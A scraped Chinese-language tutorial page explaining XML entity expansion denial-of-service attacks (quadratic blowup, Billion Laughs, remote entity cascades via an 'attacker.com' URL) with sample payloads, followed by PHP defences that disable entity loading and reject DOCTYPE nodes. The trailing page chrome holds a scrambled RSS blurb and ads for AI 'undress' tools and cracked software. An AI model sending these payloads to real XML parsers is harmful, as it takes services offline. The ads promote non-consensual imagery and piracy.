XMl Entity Expansion(攻擊)某種程度上類似於 XML Entity Expansion,但是它主要試圖透過消耗目標程式的伺服器環境來進行DOS攻擊的。這種攻擊是基於XML Entity Expansion實現,透過在XML的DOCTYPE
中建立自訂實體的定義實現,例如,這種定義可以在記憶體中產生一個比XML的原始允許大小大出很多的XML結構,來使這種攻擊得以耗盡網路伺服器正常有效運作的必需記憶體資源。這種攻擊方式同樣適用於HTML5的XML序列化功能模組,該模組目前還不能被libxml2
擴充包辨識為HTML。
XML Entity Expansion範例
要擴充XML自訂實體以達到預期的耗盡伺服器資源效果有好幾種方式。
Generic Entity Expansion
通用實體擴充攻擊
通用實體擴充攻擊同樣被稱為“Quadratic Blowup Attack”,使用這種方式時,自訂實體被定義為一個極長的字串。當檔案中大量使用這個實體時,該實體在每次呼叫時都會進行擴展,產生一個大幅超出原始XML所需RAM大小的XML結構。
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>
透過平衡自訂實體字串大小和文件主體內使用實體數量,可以建立一個擴展至佔用伺服器可預測RAM空間大小的XML文件或字串。透過這樣重複請求來佔用伺服器RAM,就可以發動一次成功的拒絕服務攻擊。此方式的缺陷是,由於產生記憶體消耗效果是基於簡單數乘的,因此初始XML文件或字串本身需要足夠大。
遞迴實體擴充攻擊
通用實體擴充攻擊需要足夠大的XML輸入資料量,而遞迴實體擴充攻擊的平均輸入位元組能產生更強的攻擊效果。這種攻擊方式依賴XML解析器來解析,從而完成小實體集的指數級增長。透過這種指數爆炸性增長方式,一個比通用實體擴展攻擊使用小得多的輸入資料量實際上可增長得極大。因此這種方式被稱為「XML Bomb」或是「Billion Laughs Attack」也是十分恰當的。
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>
XML Bomb攻擊並不需要大量可能會被程式限制的XML資料輸入。實體集像這樣指數倍增長,最終形成的擴展後文本大小是初始 &x0
實體值的2的100次方倍。這其實是個龐大且毀滅性超強的炸彈!
遠端實體擴充攻擊
常規和遞歸實體擴充攻擊都依賴XML文件類型定義中定義在本地的實體,但是攻擊者同樣可以進行外部實體定義。這很顯然需要XML解析器能夠像我們之前在描述XML外部實體注入式攻擊(XXE)時遇到的那樣,發起遠端HTTP請求。而拒絕這種請求對你的XML解析器而言是一種基礎的安保措施。因此,防禦XXE攻擊的措施同樣適用於此類XML實體擴充攻擊。
雖說可以透過上述方式進行防禦,遠端實體擴充功能透過使XML解析器發出遠端HTTP請求來獲得被引用實體的擴充值來進行攻擊。傳回結果將自行定義其他XML解析器必須另行HTTP請求的外部實體。如此一來,一些看似並無攻擊性的請求會迅速脫離控制,並給伺服器的可用資源帶來負擔。在這種情況下,如果請求自包括一個遞歸擴展攻擊,那麼最終結果會更加糟糕。
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>
上述攻擊手法還有可能更迂迴地進行DOS攻擊,例如,遠端請求被調整到針對本地程式或其他任何共享其伺服器資源的程式。這種攻擊方式可能造成自我損傷式的DOS攻擊,其中, XML解析器嘗試解析外部實體可能會觸發無數針對本機程式的請求,並由此消耗更多的伺服器資源。此方式因此被用於放大先前討論過的關於使用XML外部實體注入式攻擊(XXE)以完成DOS攻擊的攻擊影響。
針對XML實體擴充攻擊的防禦措施
下列常規防禦措施,是從我們針對普通XML外部實體攻擊(XXE)的防禦措施繼承而來的。我們應拒絕XML中自訂實體對本機檔案和遠端HTTP請求的解析,並可使用以下可全域應用於所有內部使用了libxml2
函數的PHP或XML所書寫擴充的函數進行拒絕。
libxml_disable_entity_loader(true);
诚然PHP以不按常理出牌著称,它并不使用常规的防御方式。常规的防御方式在文档类型声明中,使用XML的文档类型定义来完全拒绝通过自定义实体的定义。PHP也的确为防御功能定义了一个替代实体的LIBXML_NOENT
常量,以及 DOMDocument::$substituteEntities
公共属性,但是使用这两条定义的防御效果不甚明显。似乎我们只能这样将就解决问题,而没有任何更好的解决方案。
虽说没有更好的方案,libxml2
函数也确实内置了默认拒绝递归实体解析。要知道递归实体要是出了问题可是能让你的错误日志”咻”地一下跟点亮圣诞树一样全面飘红的。如此看来,好像也没必要特意针对递归实体使用一种特殊防御手段,尽管我们是得做点什么来防止万一libxml2
函数突然陷回解析递归实体的故障里去。
当下新型威胁主要来自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻击方式。此类攻击方式不需要调用远程或本地系统,也不需要实体递归。事实上,唯一的防御措施要么是不用XML,要么是清理过滤所有包含文档类型声明的XML。除非要求的文档类型声明接收于安全的可信源,否则最安全的做法就是不用XML了。比如,我们是由同行验证的HTTPS连接接受的。否则,既然PHP没给我们提供禁用文档类型定义的选项,那我们就只能自建逻辑了。假定你能调用 libxml_disable_entity_loader(TRUE)
,那么后续程序运行就是安全的了,因为实体扩展这一步已经被递延到被扩展影响的节点值可被再次访问的时候了(然而勾选TURE以后永远都访问不到了)。
$dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
当然啦,在 libxml_disable_entity_loader
被设定为TRUE
的前提下,以上代码才能正常运行,设定后XML初始加载的时外部实体引用就不会被解析了。除非解析器自己有一套全面的针对如何进行实体解析的控制选项,否则XML解析器不依赖libxml2
函数进行解析时,恐怕这就是唯一的防御措施了。
如果你想使用SimpleXML函数,记得用the simplexml_import_dom()
函数来转换核验过的DOMDocument
项目。
原文地址:Injection Attacks
OneAPM for PHP 能够深入到所有 PHP 应用内部完成应用性能管理 能够深入到所有 PHP 应用内部完成应用性能管理和监控,包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。想阅读更多技术文章,请访问 OneAPM 官方技术博客。
以上是XML實體擴充攻擊程式碼實例分享的詳細內容。更多資訊請關注PHP中文網其他相關文章!

RSS2.0是一種開放標準,允許內容髮布者以結構化的方式分發內容。它包含了豐富的元數據,如標題、鏈接、描述、發布日期等,使得訂閱者能夠快速瀏覽和訪問內容。 RSS2.0的優勢在於其簡潔和擴展性。例如,它允許自定義元素,這意味著開發者可以根據需求添加額外的信息,如作者、分類等。

RSS是一種基於XML的格式,用於發布經常更新的內容。 1.RSSfeed通過XML結構化組織信息,包括標題、鏈接、描述等。 2.創建RSSfeed需按照XML結構編寫,添加元數據如語言和發布日期。 3.高級用法可包含多媒體文件和分類信息。 4.調試時使用XML驗證工具,確保必需元素存在且編碼正確。 5.優化RSSfeed可通過分頁、緩存和保持結構簡潔來實現。通過理解和應用這些知識,可以有效管理和分發內容。

RSS是一種基於XML的格式,用於發布和訂閱內容。 RSS文件的XML結構包括根元素、元素和多個元素,每個代表一個內容條目。通過XML解析器讀取和解析RSS文件,用戶可以訂閱並獲取最新內容。

XML在RSS中具有結構化數據、可擴展性、跨平台兼容性和解析驗證的優勢。 1)結構化數據確保內容的一致性和可靠性;2)可擴展性允許添加自定義標籤以適應內容需求;3)跨平台兼容性使其在不同設備上無縫工作;4)解析和驗證工具確保Feed的質量和完整性。

RSS在XML中的實現方式是通過結構化的XML格式來組織內容。 1)RSS使用XML作為數據交換格式,包含頻道信息和項目列表等元素。 2)生成RSS文件需按規範組織內容,發佈到服務器供訂閱。 3)RSS文件可通過閱讀器或插件訂閱,實現內容自動更新。

RSS的高級功能包括內容命名空間、擴展模塊和條件訂閱。 1)內容命名空間擴展RSS功能,2)擴展模塊如DublinCore或iTunes添加元數據,3)條件訂閱根據特定條件篩選條目。這些功能通過添加XML元素和屬性實現,提升信息獲取效率。

RSSFEEDSUSEXMLTOSSTRUCTURECONTUPDATE.1)XMLPROVIDEDIDESAHIERARCHICALSTRUCTUREFFORDATA.2)THEELEMENTDEFINESTHEEFEED'SIDENTITYANDCONTAINS ELEMENT.3)ELEMENTEMERPREPRESERPRESENTERPRESENTIVIDIVIVELPIECTUALPIECES.4)RSSSSSSSSSSSISEXTEXTENSIBLERECTICERSINCREECTINCERINCTICENT.5)

RSS和XML是用於網絡內容管理的工具。 RSS用於發布和訂閱內容,XML用於存儲和傳輸數據。它們的工作原理包括內容髮布、訂閱和更新推送。使用示例包括RSS發布博客文章和XML存儲書籍信息。


熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

VSCode Windows 64位元 下載
微軟推出的免費、功能強大的一款IDE編輯器

MinGW - Minimalist GNU for Windows
這個專案正在遷移到osdn.net/projects/mingw的過程中,你可以繼續在那裡關注我們。 MinGW:GNU編譯器集合(GCC)的本機Windows移植版本,可自由分發的導入函式庫和用於建置本機Windows應用程式的頭檔;包括對MSVC執行時間的擴展,以支援C99功能。 MinGW的所有軟體都可以在64位元Windows平台上運作。

EditPlus 中文破解版
體積小,語法高亮,不支援程式碼提示功能

SAP NetWeaver Server Adapter for Eclipse
將Eclipse與SAP NetWeaver應用伺服器整合。

Dreamweaver Mac版
視覺化網頁開發工具